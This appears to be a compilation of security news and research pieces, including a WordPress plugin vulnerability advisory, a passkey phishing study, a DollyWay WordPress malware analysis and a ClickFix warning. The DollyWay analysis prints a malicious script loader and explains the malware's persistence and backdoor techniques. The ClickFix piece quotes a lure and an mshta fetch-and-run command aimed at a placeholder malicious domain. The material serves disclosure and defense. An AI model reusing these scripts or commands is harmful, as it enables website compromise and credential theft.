On March 5th, 2025, Wordfence received a submission for an Arbitrary File Upload and an Arbitrary File Deletion vulnerability in WP Ultimate CSV Importer, a WordPress plugin with more than 20,000 active installations. The arbitrary file upload vulnerability can be used by authenticated attackers, with subscriber-level access and above, to upload arbitrary files to a vulnerable site and achieve remote code execution, which is typically leveraged for a complete site takeover. The arbitrary file deletion vulnerability can be used by authenticated attackers to delete arbitrary files, including the wp-config.php file, which can also make a site takeover possible.
Props to mikemyers who discovered and responsibly reported these vulnerabilities through the Wordfence Bug Bounty Program. This researcher earned bounties of $676.00 and $468.00 for these discoveries. Wordfence’s mission is to secure WordPress through defense in depth, which is why they are investing in quality vulnerability research and collaborating with researchers of this caliber through our Bug Bounty Program. Wordfence is committed to making the WordPress ecosystem more secure through the detection and prevention of vulnerabilities, which is a critical element to the multi-layered approach to security.
All paid Wordfence customers as well as those using the free version of our plugin are protected against any exploits targeting these vulnerabilities by the Wordfence firewall’s built-in Malicious File Upload and Directory Traversal protections.
Wordfence contacted the Smackcoders team on March 5, 2025, and received a response on March 7, 2025. After providing full disclosure details, the developer released a patch on March 25, 2025. We would like to commend the Smackcoders team for their prompt response and timely patch.
We urge users to update their sites with the latest patched version of WP Ultimate CSV Importer, version 7.19.1 at the time of this writing, as soon as possible.
Security researcher Tobia Righi has pulled off what appears to be the first successful passkey phishing attack.
The phishing vector existed solely in mobile browsers and has now since been patched. Security updates have rolled out for all major browsers, such as Chrome / Edge (October 2024), Firefox (February 2025), and Safari (January 2025)—see CVE-2024-9956 .
Righi’s attack revealed that passkeys are not perfect, but his research also showed that passkeys are far superior to the old credential pair and classic multi-factor authentication solutions.
The attack was far more difficult to pull off and had a far more narrow scope than current web-delivered phishing kits, which you can host on any website together with a proxy server and even intercept MFA challenges.
Instead, Righi’s technique required that an attacker place a hardware device within a victim’s Bluetooth LE range, which is between 70 and 100m.
The device, which could be a tiny Raspberry Pi hidden in an attacker’s backpack, would be used to host a custom web server that triggered a passkey authentication flow.
In the simplest explanation possible, an attacker within BLE range can trick a victim into using their passkey to log the attacker’s (Raspberry Pi) device into their account.
Let’s go over one of Righi’s examples to showcase how this was possible:
An attacker deploys their rogue Raspberry Pi in a crowded airport.
The attacker advertises a rogue free airport WiFi that requires users to log in using one of their social media accounts but via their passkeys instead of using a password.
A victim chooses this option. The rogue BLE device, acting as an intermediary, initiates a WebAuthn request on the user’s behalf.
The attacker’s BLE device would normally be prompted to scan a QR code, but Righi discovered you can extract a FIDO:/ link from the QR code and just redirect the victim to it instead.
The victim is prompted to authenticate against the FIDO, not knowing that the successful authentication allows the attacker’s device into their account.
The attacker extracts the session data from the rogue BLE device and logs into the victim’s account.
The bug here, and what browser vendors fixed, is that the FIDO:/ link was navigable and basically allowed to bypass the actual scanning of the QR code.
The victim is never aware of an intermediary hardware device that was doing a proxy authentication on their behalf.
This was basically a current MitM/AitM attack but carried out using hardware and adapted to passkeys and FIDO standards.
Righi says browser makers have now blocked FIDO:/ URI schemes from being navigable, which, in theory, should stop his version of the attack.
The researcher has open-sourced the server software that ran on the rogue BLE (Raspberry Pi) device to allow other researchers to evolve his technique and find new ways to exploit it.
On Wednesday, web infrastructure provider Cloudflare announced a new feature called “AI Labyrinth” that aims to combat unauthorized AI data scraping by serving fake AI-generated content to bots. The tool will attempt to thwart AI companies that crawl websites without permission to collect training data for large language models that power AI assistants like ChatGPT.
Cloudflare, founded in 2009, is probably best known as a company that provides infrastructure and security services for websites, particularly protection against distributed denial-of-service (DDoS) attacks and other malicious traffic.
Instead of simply blocking bots, Cloudflare’s new system lures them into a “maze” of realistic-looking but irrelevant pages, wasting the crawler’s computing resources. The approach is a notable shift from the standard block-and-defend strategy used by most website protection services. Cloudflare says blocking bots sometimes backfires because it alerts the crawler’s operators that they’ve been detected.
“When we detect unauthorized crawling, rather than blocking the request, we will link to a series of AI-generated pages that are convincing enough to entice a crawler to traverse them,” writes Cloudflare. “But while real looking, this content is not actually the content of the site we are protecting, so the crawler wastes time and resources.”
The company says the content served to bots is deliberately irrelevant to the website being crawled, but it is carefully sourced or generated using real scientific facts—such as neutral information about biology, physics, or mathematics—to avoid spreading misinformation (whether this approach effectively prevents misinformation, however, remains unproven). Cloudflare creates this content using its Workers AI service, a commercial platform that runs AI tasks.
Cloudflare designed the trap pages and links to remain invisible and inaccessible to regular visitors, so people browsing the web don’t run into them by accident.
A smarter honeypot
AI Labyrinth functions as what Cloudflare calls a “next-generation honeypot.” Traditional honeypots are invisible links that human visitors can’t see but bots parsing HTML code might follow. But Cloudflare says modern bots have become adept at spotting these simple traps, necessitating more sophisticated deception. The false links contain appropriate meta directives to prevent search engine indexing while remaining attractive to data-scraping bots.
“No real human would go four links deep into a maze of AI-generated nonsense,” Cloudflare explains. “Any visitor that does is very likely to be a bot, so this gives us a brand-new tool to identify and fingerprint bad bots.”
This identification feeds into a machine-learning feedback loop—data gathered from AI Labyrinth is used to continuously enhance bot detection across Cloudflare’s network, improving customer protection over time. Customers on any Cloudflare plan—even the free tier—can enable the feature with a single toggle in their dashboard settings.
A growing problem
Cloudflare’s AI Labyrinth joins a growing field of tools designed to counter aggressive AI web crawling. In January, we reported on “Nepenthes,” software that similarly lures AI crawlers into mazes of fake content. Both approaches share the core concept of wasting crawler resources rather than simply blocking them. However, while Nepenthes’ anonymous creator described it as “aggressive malware” meant to trap bots for months, Cloudflare positions its tool as a legitimate security feature that can be enabled easily on its commercial service.
The scale of AI crawling on the web appears substantial, according to Cloudflare’s data that lines up with anecdotal reports we’ve heard from sources. The company says that AI crawlers generate more than 50 billion requests to their network daily, amounting to nearly 1 percent of all web traffic they process. Many of these crawlers collect website data to train large language models without permission from site owners, a practice that has sparked numerous lawsuits from content creators and publishers.
The technique represents an interesting defensive application of AI, protecting website owners and creators rather than threatening their intellectual property. However, it’s unclear how quickly AI crawlers might adapt to detect and avoid such traps, potentially forcing Cloudflare to increase the complexity of its deception tactics. Also, wasting AI company resources might not please people who are critical of the perceived energy and environmental costs of running AI models.
Cloudflare describes this as just “the first iteration” of using AI defensively against bots. Future plans include making the fake content harder to detect and integrating the fake pages more seamlessly into website structures. The cat-and-mouse game between websites and data scrapers continues, with AI now being used on both sides of the battle.
Have you received that “Upcoming price change for your Microsoft 365 subscription” email yet? They want to charge you an extra 50% for AI features, and they do *not* make it easy to find the way to turn it off.
How to:
“Switch plan” lets you pick between annual and monthly billing. You want to choose “Turn off recurring billing”
and then select “Current subscription without AI”
Yes, these images display Australian prices. Our source for this is @timixretroplays@digipres.club, based in Australia. Your milage may vary in other countries.
(I’m in the US and don’t use Microsoft 365 so don’t have first hand knowledge or a way to verify the report. If you are US based and encounter similar, feel free to let me know via the contact page.)
UPDATE: one US client who uses MS 365 reports that they do not see these settings/charges (yet).
GoDaddy Security researchers have uncovered a long-running malware operation dating back to 2016 that has compromised over 20,000 websites globally in the past 8 years.
Campaign infrastructure currently leverages a distributed network of compromised WordPress sites as TDS and Command and Control (C2) nodes.
The latest campaign (DollyWay) demonstrates sophisticated capabilities including cryptographically signed data transfers, heterogeneous injection methods, and automatic reinfection mechanisms.
Threat actors attempt to maintain control of compromised sites by removing any competing malware and updating WordPress.
Overview
GoDaddy Security researchers have uncovered evidence linking multiple malware campaigns into a single, long-running operation we’ve named “DollyWay World Domination”. While previously thought to be separate campaigns, our research reveals these attacks share common infrastructure, code patterns, and monetization methods – all appearing to be connected to a single sophisticated threat actor. The operation was named after the following tell-tale string, which is found in some variations of the malware: define(‘DOLLY_WAY’, ‘World Domination‘);.
Through extensive analysis spanning eight years of data, we’ve connected seemingly disparate campaigns including Master134, Fake Browser Updates, and CountsTDS into a comprehensive operational timeline. The current iteration, which we track as DollyWay v3, primarily targets visitors of infected WordPress sites via injected redirect scripts that employ a distributed network of Traffic Direction System (TDS ) nodes hosted on compromised websites. These scripts redirect site visitors to various scam pages through traffic broker networks associated with VexTrio, one of the largest known cybercriminal affiliate networks that leverages sophisticated DNS techniques, traffic distribution systems, and domain generation algorithms to deliver malware and scams across global networks. While current monetization relies heavily on redirects, historical campaigns from this actor included more aggressive payloads like ransomware and banking trojans.
The operation comprises several distinct campaigns known by different names in the security community:
The latest variant of DollyWay malware demonstrates significant sophistication, employing multiple layers of obfuscation, cryptographic verification of malicious payloads, and reinfection mechanisms.
DollyWay: Massive scale and ongoing evolution
The DollyWay malware works exclusively on WordPress sites. Leveraging a distributed network of C2 and TDS nodes hosted on compromised sites, it redirects site visitors to VexTrio/LosPollos links. Historically, this operation has also used AdsTerra, PropellerAds and some other ad networks to monetize traffic from compromised sites.
This campaign is known for its sophisticated ways of infecting websites:
Cryptographically signed data transfers
Heterogeneous injection spread across files and database
Automatic reinfection mechanisms
Removal of competing third-party malware
WordPress updates and site repairs
As of February 2025, we have seen over 10,000 unique infected WordPress sites worldwide generating around 10 million impressions of web pages with injected malicious scripts for millions of visitors with unique IP addresses every month.
Technical analysis of current campaign (DollyWay v3)
In this post, we will refer to the ongoing malicious campaign as DollyWay v3. Version 3 uses wp-content/counts.php scripts on select compromised sites as C2/TDS, while previous versions of DollyWay malware used different file names.
Redirect script injections
DollyWay v3 employs a sophisticated four-stage injection chain designed to evade detection.
Stage 1: Initial injection
The first stage leverages WordPress’s wp_enqueue_script function to append a link to a dynamically generated script loading from the site’s main URL whenever someone visits an infected domain. Each injection includes a unique 32-character hexadecimal parameter — an MD5 hash that serves as a site identifier and is different for each infected site.
From now on, we’ll refer to the initial hexadecimal string as <hex32> and its derivatives as md5(hex32), md5(md5(hex32)) and so on, depending on how many times md5 function was applied.
The goal is to inject a generic looking script that will leave security scanners that only do static analysis of the HTML code with very little information and hide the real malicious activity in the dynamically generated subsequent stages of the injections.
Stage 2: Dynamic loading and referrer collection
Since the URL in the Stage 1 script is not a static .js file, the WordPress engine is used to generate its contents. The DollyWay malware detects that the <md5(hexh32)> parameter is present in the requested URL and hijacks the response generation, producing JavaScript code like this:
(function() {
var ref;
var po = document.createElement('script');
po.type = 'text/javascript';
po.async = true;
if(document.referrer.length == 0) {ref = 'undefined';} else {ref = document.referrer;}
po.src = '?<md5(md5(hex32))>&' + Math.floor(Math.random() * 100000) + '&' + ref;
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(po, s);
})();
At this point, the malware can still evade some static analysis tools that load links found in the HTML code of the page. So, the goal of Stage 2 is to block static analysis scanners completely and start collecting information that may be used by a TDS while not revealing the malicious behavior.
To accomplish this, the Stage 2 script dynamically loads the Stage 3 script from the /?<md5(md5(hex32))> URL on the same site, passing the referrer as an additional parameter along with a random number probably added to divert attention.
The URLs of the generated Stage 3 scripts look like this:
Since static analysis scanners can’t also easily discover the Stage 3 scripts, this is where the real malicious behavior begins. To further evade detection, the malware performs some additional server-side filtering as shown below:
This means that the Stage 3 script will not be generated for:
WordPress users that are currently logged in
Known bots (the malware maintains its own list of around 102 different bot User-Agent strings)
Any visitors that come from localhost
Visitors that don’t have a referrer (Stage 2 script set to “undefined”)
For those who don’t fall into the above criteria, the malware generates a script that tries to dynamically load the Stage 4 scripts from 3 random nodes (third-party infected sites). The malware stores a list of current nodes along with other malware settings encoded as a WordPress option in the wp_options table.
These nodes act as TDS (traffic direction system) and use the /wp-content/counts.php path in their URLs to return scripts that start the malicious redirect chain. Later, we will show how the nodes also act as C2 servers, providing the malware on infected sites with the most up-to-date set of settings.
TDS nodes and TDS script URLs
The TDS URLs contain two extra parameters ?cat and &t. The <cat> is an integer number from 0 to 5 that specifies the desired category of VexTrio scam links to be served to the visitor. The category is saved as “dolly_category” along with other DollyWay settings in the wp_options table.
0 – Dating
1 – Mainstream (Sweepstakes)
2 – Crypto
3 – Gay Dating
4 – Gambling
5 – Cams
DollyWay v3 most frequently uses the Dating (0) and the Mainstream (1) categories.
The use of three different nodes at the same time can be explained by their desire to ensure the visitor gets redirected, even if some of the nodes are taken down. Remember, the nodes are also compromised WordPress sites, and the attack operators don’t fully control them and can’t guarantee their uptime.
To improve chances that some of the nodes are functional, DollyWay maintains a list of C2/TDS nodes that they store in the settings and update them once a day. The list currently consists of 14 nodes and the Stage 3 script randomly picks three of them every time it is triggered.
Stage 4: The redirect
The Stage 4 scripts returned by the TDS node is where the actual redirect code can be found.
All the nodes typically return the exact same script. To avoid multiple redirects, the malware saves the “test” and the “click4” parameters (in Nov 2024, changed to “test01” and “click01” respectively) in the browser’s local storage whenever a visitor gets redirected to a scam site.
The redirect only occurs if these storage parameters are not found and when a visitor clicks anywhere on a web page.
The redirects consistently go to VexTrio/LosPollos links with the u=7mkpd0d parameter (affiliate user id in the LosPollos system). The &o parameter changes depending on the category specified in the TDS URL For example, ex3wmkx corresponds to the “Dating (0)” category and is specific to this LosPollos user only.
Each category also has a predefined VexTrio domain name saved on each C2/TDS node.
After Stage 4, VexTrio/LosPollos control the redirect chain. Usually, site visitors end up on their scam pages. Sometimes the final landing page will be a Google Play page for some legitimate application like Tinder, TikTok, Instagram, that probably buys downstream traffic from LosPollos or when their TDS decides that they are not interested in the visitor.
Server-side analysis: Advanced persistence and stealth mechanisms
Now that we know how this malware works from an external perspective, let’s explore how everything works behind the scenes.
Persistent reinfection mechanism
The malicious PHP code is injected into all active plugins and as WPCode snippets.
What is more interesting is that injections don’t stop once the site is infected. This malware has a sophisticated reinfection procedure that takes place every time any WordPress page is opened.
It consists of 4 main steps:
Disables security plugins from its (not very well maintained) built-in list:
Wordfence
Ninja Firewall
MalCare
wp-cerber (WordPress.org repository says: This plugin has been closed as of September 22, 2022 and is not available for download. Reason: Security Issue.)
gotmls/ Anti-Malware Security and Brute-Force Firewall
All-In-One Security (AIOS)
Finds a DollyWay injection in one of the infected plugins or WPCode snippets and re-obfuscates it for every new injection:
Randomly renames variables and functions
Splits string constants with random comments
Re-injects freshly obfuscated DollyWay code into all active plugins that do not contain valid malware
Strategically adds extra metadata comment at the top of the file, then injects the malicious code right after that prepending with 1000-2000 spaces so that it is not immediately visible.
Reinfects WPCode snippets
Deletes all WPCode snippets (even legitimate)
Inserts new re-obfuscated malicious snippets
In both the files and in WPCode snippets, the injected code looks like this:
With random variables, function names, and obfuscated string constants, the infection looks slightly different in every infected file and DB record.
This procedure makes it hard to remove the malware as it constantly changes. Moreover, if the site has heavy traffic, the chances are it will be reinfected in the process of removing malware. If you fail to remove it from all the active plugins and WPCode snippets before someone loads any page, everything will get reinfected from a single piece of malware that can still be found either in infected plugins or in the malicious WPCode snippets.
So, in the case of cleanup, the best course of action would be to temporarily take the site down (redirect all traffic to some static page) or, at least, disable all plugins. (Note: The WPCode plugin will not be visible from the WordPress dashboard because DollyWay hides it.)
WPCode snippets
The logic of malware reinfections suggests that they install this plugin on compromised sites and add malicious PHP snippets with the execution scope “everywhere”.
During the never-ending reinfections, they simply delete all WPCode snippets and create new ones with re-obfuscated code.
It’s not clear what the attackers do when they compromise a site that already uses this popular plugin (WPCode has over 2 million active installations). You can imagine the damage if the site uses WPCode snippets for legitimate functionality.
As of October 2024, the injected WPCode snippets have specific dates associated with them that can be used as indicators of compromise.
In wp_posts table:
post_date: 2024-07-26 09:19:38
post_date_gmt: 2024-07-26 09:19:38
post_title: Untitled Snippet
post_status: publish
post_modified: 2024-07-26 09:25:37
post_modified_gmt: 2024-07-26 09:25:37
post_type: wpcode
In wp_options table (option_name: wpcode_snippets):
modified: 2024-08-05 10:55:28
location: everywhere
code_type: php
title: Untitled Snippet
WPCode’s presence is pretty visible in the WordPress admin interface — and it is in the attackers’ best interest to keep it a secret so that the site admins don’t suspect that something is not right.
To accomplish this, the malware removes all WPCode menus from the WordPress dashboard and removes the WPCode from the list of installed plugins. The only way to notice the presence of this plugin and the malicious snippets is to examine the wp-content/insert-headers-and-footers/ directory and the plugin related records directly in the WordPress database.
Malicious admin users
The WPCode plugin is not the only thing that malware tries to hide from site owners. It also removes the admin user created by the attackers from the list of existing WordPress users.
Since 2020, this malware is associated with malicious WordPress admin users that have random hexadecimal up to 32 character long strings as user names using the same name for email address on a similarly random hexadecimal .com domain.
Key characteristics of malicious admin accounts:
Usernames: Random hexadecimal strings (up to 32 characters)
Examples of malicious usernames and email addresses (note, some of these credentials may also belong to previous iteration of the DollyWay campaign):
Username
Email
7591c62c3c443a75fbdf9fadfbe2802f
7591c62c3c443a75fbdf9fadfbe2802f@113c971f77f8.com
36e21a1c8c
36e21a1c8c@d5b53904ee84dac8d41331f0b.com
6fcb1f44c9b1772a0
6fcb1f44c9b1772a0@1a8001dc2c3607.com
3cc40c79f2d7217139a8
3cc40c79f2d7217139a8@27d831561ab46a5244a82.com
Stealing WordPress admin credentials
Attackers realize that having their own admin user in the system is good but it is not guaranteed that they will always be able to use it. Eventually such users are getting discovered and deleted. Having credentials of real admin users may prove to be a better long term solution.
That’s why the malware monitors POST parameters from the login form and dumps them into a hidden (filename starts with .) downloadable file on the server.
DollyWay backdoors
DollyWay v3 implements multiple sophisticated backdoor mechanisms with cryptographic verification to prevent unauthorized use of the malware.
When a site GET request contains a predefined <hex32> string, it creates a PHP file with the <hex32>.php name and with the contents extracted from the HTTP cookie with the same <hex32> name.
Implementation of another arbitrary PHP code execution function is more exotic. The malware monitors request URLs and, if it finds any where the part after the last slash is longer than 90 characters, it tries to extract and execute PHP from it.
The PHP code is not passed in plain text though and the code execution is preceded by the following procedures on the part of the request after the last slash:
The string is sanitized to include only base64 characters. “$” is replaced by “+” and “*” is replaced by “/”
The string is broken down into three parts:
The first 8 characters are the decode key
The last 88 characters are cryptographic signature
Everything in between is encrypted data
The integrity of data is verified by the cryptographic signature using the hardcoded public key and the openssl_verify function.
If the integrity of data is verified, the data is decoded using a custom decoding XOR-based algorithm with additional layers of gzip and base64 (lets call it DollyDecode).
Another check is performed once the data is decoded. It should contain the ‘host’ property whose value should match the host of the infected website where this backdoor is being executed.
If everything holds, the PHP code from the “code” property of the decoded data is executed.
This sophisticated backdoor execution procedure has several goals:
Allow sending malicious PHP commands in regular GET requests without using cookies
Prevent unauthorized use of their backdoors by signing the executable code and specifying the domain for which it is intended:
So that no one can use the backdoor to take over the site or remotely clean the infection, and;
No one can execute properly signed backdoor code on a different host (e.g. if you’ve intercepted the backdoor request for one infected site).
Earlier iterations of DollyWay v3 server-side malware
Before October 2024, DollyWay v3 used a slightly different approach to website infection. It was based on the codebase of DollyWay v2.
In 2022, bad actors installed a single “pseudo-legitimate” plugin that was responsible for injection of the redirect scripts into site pages. We use the word “pseudo-legitimate” because these plugins are generated from code of legitimate plugins and themes. They have the initial comment with the plugin metadata copied from random legitimate plugins. Their name may also match the name of that legitimate plugin. The rest of the content doesn’t have anything to do with it though. It is compiled from random functions from random files with sprinkles of malicious code that restores and executes the DollyWay PHP code from multiple WordPress options with seemingly benign names like organizerLoginUrl or wp_vers.
This approach made the detection of such plugins challenging since they look legitimate at the first glance, there were no obvious malware markers in the plugin files, the malicious code varied from file to file, and the real DollyWay code could only be found encrypted in WordPress database.
In 2023, Dollyway shifted from using “pseudo-legitimate” plugins to outright fake “must use” plugins. They were placed in the /wp-content/mu-plugins/ directory which doesn’t require plugin activation.
This particular variant didn’t pretend to be a legitimate plugin. Inside was only obfuscated code, without any plugin metadata whatsoever.
The fake plugins use random autogenerated names like:
chordpress-excellent.php
gig-muambator-howdy.php
ultimo-mapjam-insertr-lokalise.php
When decoded, you can see the same approach with loading and executing the DollyWay PHP code directly from random WordPress options.
The database part of this malware didn’t change much and you can immediately recognize it when you decode the WordPress option and see this line at the top:
Some iterations of DollyWay v3 malware involve file operations for every page load. If you monitor file creation and deletion events, such activity may be used as an indicator of compromise.
The names of the temporary files used by this malware may also look a bit off:
tmp/base64_decode<random-string>
tmp/plugins<random-string>
tmp/sys_get_temp_dir<random-string>
…
Additional files and backdoors
Another backdoor can be found injected at the bottom of random legitimate files. It is usually prepended by hundreds of empty lines, so you may easily miss it when checking files manually.
The functionality of this backdoor is similar to the first type backdoor that is integrated into the DollyWay v3 malware. It expects the <hex32> REQUEST parameter and if it is found, creates a file on the server with the <hex32>.php name and with contents of the <hex32> parameter.
DollyWay maintenance and WordPress update scripts
Two PHP files are especially integral to the malware’s operation and tell-tale behavior.
WPU.php: WordPress update utility
The name of the malicious file, wpu.php, can probably be translated as WordPress Update. This script is likely used as some maintenance / support utility both to repair broken sites, install prerequisites and start the malware injection process.
This maintenance script provides several key functions:
WordPress core updates
WPCode plugin installation and updates
Malware installation via the cpl.php script
We don’t know if all these functions are being used for every injection. What we do know is that we find this file on some compromised sites alongside the DollyWay v3 malware and it belongs to the same campaign.
The wpu.php file updates the target website’s WordPress core files without using any WordPress functionality. The files are simply fetched from the WordPress SVN repository https://core.svn.wordpress.org/tag/ and the appropriate WordPress version is guessed based on the server’s PHP version.
PHP 7.2.0 and newer: the malware chooses WordPress 6.6
PHP 7.0.x and 7.1.x: the malware chooses WordPress 6.5
PHP 7.0.0 and older: the malware chooses WordPress 5.1
The current iteration of the malware always installs the WPCode version 2.2.1. The plugin files are also fetched directly from the SVN repository:
The script has two main work modes that try to accomplish updates in small batches:
wpu.php?step=<N> WordPress update
wpu.php?ihaf=<N> WPCode update
The script is intended to work in the browser. You can tell this because it relies on JavaScript redirects to start the next stage/iteration of the update.
Once both types of updates are done, the script automatically redirects to the cpl.php script most likely to finalize the malware installation. Interesting, that the cpl.php script has two modes of work based on presence of the fast_worker cookie:
Cpl.php: DollyWay web shell
The DollyWay v3 malware itself has a function to create cpl.php files, download their PHP code from an external URL, then open that file in a browser.
We also find backdoors that drop cpl.php files. They are heavily encrypted and can be several hundred Kilobytes in size. When partially decrypted we see the use of the same DollyDecode algorithm as in the main malware. In this case, the missing decoding parameter is retrieved from the cookie “nd_p”. If this parameter is present, the file also injects a JavaScript from //127.0.0.1/d_p.php from the attacker’s own computer, which suggests interactive nature of the script.
The size of code and the fact that attackers want to load it in a browser suggests that this backdoor is some sort of web shell.
This hypothesis is backed by the analysis of the cpl.php file used in early iterations of this malware back in 2020, when it was possible to easily decrypt it. Let’s just remember that cpl.php was a custom web shell. It has many generic web shell functions such as “file manager”, that can browse, edit, delete and create files, change their permissions, execute arbitrary PHP code. However, a significant share of its functionality is specific to this particular malware campaign.
For example, it could:
Inject the DollyWay malware into websites (back in 2020, they created a malicious version of the Hello Dolly plugin /hello/hello.php),
Remove DollyWay malware (all malicious WordPress options, all backdoors, maintenance and files)
Install, update, debug WordPress
Remove malware from WordPress
Yes, the attackers are so interested in every compromised website so that they can go a long way to make sure it works properly and no other malware steals traffic from them or attracts unneeded site owner’s attention to security problems that may result in removal of their malware along with other malware that caused the initial scrutiny.
Back in 2020, malware operators already had over 150 complex signatures to detect and remove various types of malware, including signatures for massive third-party campaigns such as Balada Injector:
We can only speculate that with thousands of infected sites, the maintenance features of the cpl.php script have not been used for every site, otherwise it would require too much time or dozens of operators working around the clock. Most likely such features are only used for the most important sites (e.g. high traffic or TDS node) and for sites with obvious problems.
Malware settings and configuration management
The malware maintains its configuration through encoded WordPress options, storing settings in a sophisticated but discoverable format. Each infected site maintains a unique identifier and configuration set. Settings are stored in the wp_option table in the option with the hex32 name (unique for each site) as base64-encoded serialized data:
The data consists of a list of (currently 14) nodes. The node URLs belong to infected third-party sites that serve as autonomous distributed C2/TDS. In the above example, we’ve replaced the domain names of the infected sites with <nodeN>.
The nodes are used to retrieve the most current list of nodes and inject redirect scripts to infected pages. Other settings include:
dolly_last_cron – timestamp of the last time the nodes were updated (only used if WordPress cron service is disabled)
dolly_category – category of VexTrio links to use
dolly_name – unique 32-character long hexadecimal string <hex32>
Command & Control infrastructure
Daily node list update
The node list is scheduled to be updated once a day using either WordPress cron jobs or directly through the malware when someone loads an infected web page.
To update the nodes, an infected site makes server-side requests to each of the current nodes until it receives a valid response from any of them. The node update request URLs look like http://<nodeN>/wp-content/data.txt.
A typical response looks like this:
Where the first line is a cryptographic signature and the second line is a base64-encoded serialized data with new nodes and category codes.
The nodes array is saved into malware settings while “subs” are ignored by DollyWay v3. Subs is a legacy from DollyWay v2 that used to pass the “subs” values to the TDS URLs.
While DollyWay v3 is the most current version of this malware, there are still many infected sites that use the older DollyWay v2 malware. And all the nodes work for both v2 and v3 malware, which explains why you can see data that is no longer used still being passed in the update responses.
Cryptographic signatures verify data integrity
The update data is easy to decode, however the malware doesn’t immediately trust it. To apply the update, it should be correctly signed with a private key that only the malware operators have. Additionally, to ensure that the data wasn’t tampered with, the update function uses the public key and the openssl_verify function to verify the signature provided as the first line of the update data.
This is a natural behavior when they run their C2 centers on compromised sites. This means that at any moment the malware can be detected, removed, or modified. So, they need to guarantee the integrity of the data it tries to pass to infected sites.
Conclusion
While this analysis provides insight into DollyWay’s current operations, it represents only the latest chapter in an eight-year evolution of increasingly sophisticated website compromise campaigns. The attention to detail, persistent infrastructure, and unusual focus on maintaining compromised sites points to a highly organized operation that has learned and adapted over nearly a decade.
In our follow-up analysis, we’ll explore the C2/TDS nodes used by DollyWay malware along with how this campaign evolved from its earliest iterations as “Master134” in 2016 through multiple variants and infrastructure changes. We’ll examine how the operators shift to and from ad network redirects, tech support scams and binary fake browser updates. Stay tuned as we unpack the complete timeline in our next deep-dive.
The malware, found on a Russian cybercriminal site, impersonates e-commerce payment-processing services such as Stripe to steal user payment data from legitimate websites.
A malicious plug-in found on a Russian cybercrime forum turns WordPress sites into phishing pages by creating fake online payment processes that convincingly impersonate trusted checkout services. Masquerading as legitimate e-commerce apps such as Stripe, the malware proceeds to steal customer payment data.
Called PhishWP, the WordPress plug-in was designed by Russian cybercriminals to be particularly deceptive, researchers from SlashNext revealed in findings published this week. In addition to mimicking the legitimate payment process that people would be familiar with to complete online transactions, it also has a key feature that make payment processes on transactions appear secure by allowing users to create one-time passwords (OTPs) during the process, they said.
Instead of processing payments, however, the payment gateway steals credit card numbers, expiration dates, CVVs, billing addresses, and more when people enter their personal data, thinking they are using a legitimate payment gateway. As soon as victims of the plug-in press “enter,” the data is sent to a Telegram account controlled by the cybercriminals. Threat actors can use the plug-in like any WordPress plug-in, by either installing it on a legitimate but compromised WordPress site or creating a fraudulent site and using it there.
PhishWP’s features make fake checkout pages look real, steal security codes, send your details to attackers right away, and trick you into thinking everything went fine,” SlashNext security researcher Daniel Kelley wrote in the post. This immediate turnaround of data “equips cybercriminals with the necessary credentials to make fraudulent purchases or resell the stolen data — sometimes within minutes of capturing it,” notes Jason Soroko, senior fellow at Sectigo, a certificate life-cycle management (CLM) firm, making it a fast return on their investment to use the plug-in for nefarious purposes.
Other Key PhishWP Malware Features
OTP hijacking is one of the plug-in’s key features, which when combined provide attackers with a turnkey solution for hijacking payment pages. Included in these are the aforementioned customizable checkout pages that simulate common payment processes through “highly convincing” fake interfaces, Kelley wrote.
Another feature of PhishWP, browser profiling, captures data beyond payment info for the replication of user environments for use in potential future fraud. This includes IP addresses, screen resolutions, and user agents.
The plug-in also gives the hijacked checkout process added legitimacy by using auto-response emails to send fake order confirmations to victims, which delays suspicion and thus detection of the attack. And as mentioned before, PhishWP also integrates with Telegram to instantly transmit stolen data to attackers for potential exploitation in real time. The plug-in also comes in an obfuscated version for stealth purposes, or users can use its source code for advanced attacker customizations. Finally, PhishWP also offers multilanguage support so attackers can target victims globally.
Browser-Based Protection From E-Commerce Phishing
Creating malicious plug-ins for WordPress sites has become a cottage industry for cyberattackers, giving them a broad attack surface due to the popularity of the platform, which as of today is the basis for some 472 million websites, according to Colorlib, which provides WordPress themes.
One of the reasons that PhishWP — or any malicious WordPress plug-in — is so dangerous is that the malicious process is built directly into the browser, which makes it difficult to detect when it appears as a legitimate part of online engagement.
To defend against such threats, SlashNext recommends using phishing protection that also works from directly inside the browser to spot phishing sites before they reach the end user. These solutions, which are available within various browsers, work within browser memory to block malicious URLs before users engage with them. The company said this provides real-time threat detection and blocking capabilities that traditional security measures might miss.
There are more and more sites that use a clipboard hijacker and instruct victims on how to infect their own machine.
I realize that may sound like something trivial to steer clear from, but apparently it’s not because the social engineering behind it is pretty sophisticated.
At first, these attacks were more targeted at people that could provide cybercriminals a foothold at a targeted company, but their popularity has grown so much that now anyone can run into one of them.
It usually starts on a website that promises visitors some kind of popular content: Movies, music, pictures, news articles, you name it.
Nobody will think twice when they are asked to prove they are not a robot.
But the next step in this method isn’t what you would normally see. If you use the checkbox, you’ll be forwarded to something that looks like this:
“To better prove you are not a robot, please:
Press & hold the Windows Key + R.
In the verification windows, press Ctrl + V.
Press Enter on your keyboard to finish.
You will observe and agree: “I’m not a robot – reCAPTCHA Verification ID: 8253”
Perform the steps above to finish verification.”
While these instructions may seem harmless enough, if you follow the steps you will actually be infecting yourself with malware—most likely an information stealer. In the background, the website you visited copied a command to your clipboard. In Chromium based browsers (which are almost all the popular ones) a website can only write to your clipboard with your permission. But Windows was under the assumption that you agreed to that when you checked the checkbox in the first screen.
What the obstructions in the prompt are telling you to do is:
Open the Run dialog box on Windows.
Paste the content of your clipboard into that dialog box.
Execute the command you just pasted.
They are not lying about what you will “observe”, but what they don’t tell you is that that’s only the last part of what you pasted, and what you are seeing is not really part of the command but just a comment added behind it.
But under normal circumstances, this is what will be visible.
You’ll only see the last part of the pasted content
The first part of what the target was instructed to paste are variations–sometimes obfuscated—of:
mshta https://{malicious.domain}/media.file
Mshta is a command that will trigger the legitimate Windows executable mshta.exe. But mshta will fetch the malicious media file from the specified domain and run it. The name of the media file may look perfectly fine. We have seen mp3, mp4, jpg, jpeg, swf, html, and there will be other possibilities.
What the files are in reality is an encoded Powershell command which will run invisibly and download the actual payload. For a while, the malware we were seeing downloaded was almost exclusively the Lumma Stealer infostealer, but recently we’ve also found campaigns that use the same method to spread the SecTopRAT. Both of these are designed to steal sensitive data from your machine.
How to stay safe
There are a few things you can do to protect yourself from falling victim to these and similar methods:
Do not follow instructions provided by some website you visited without thinking it through.
Disable JavaScript in your browser before visiting unknown websites.
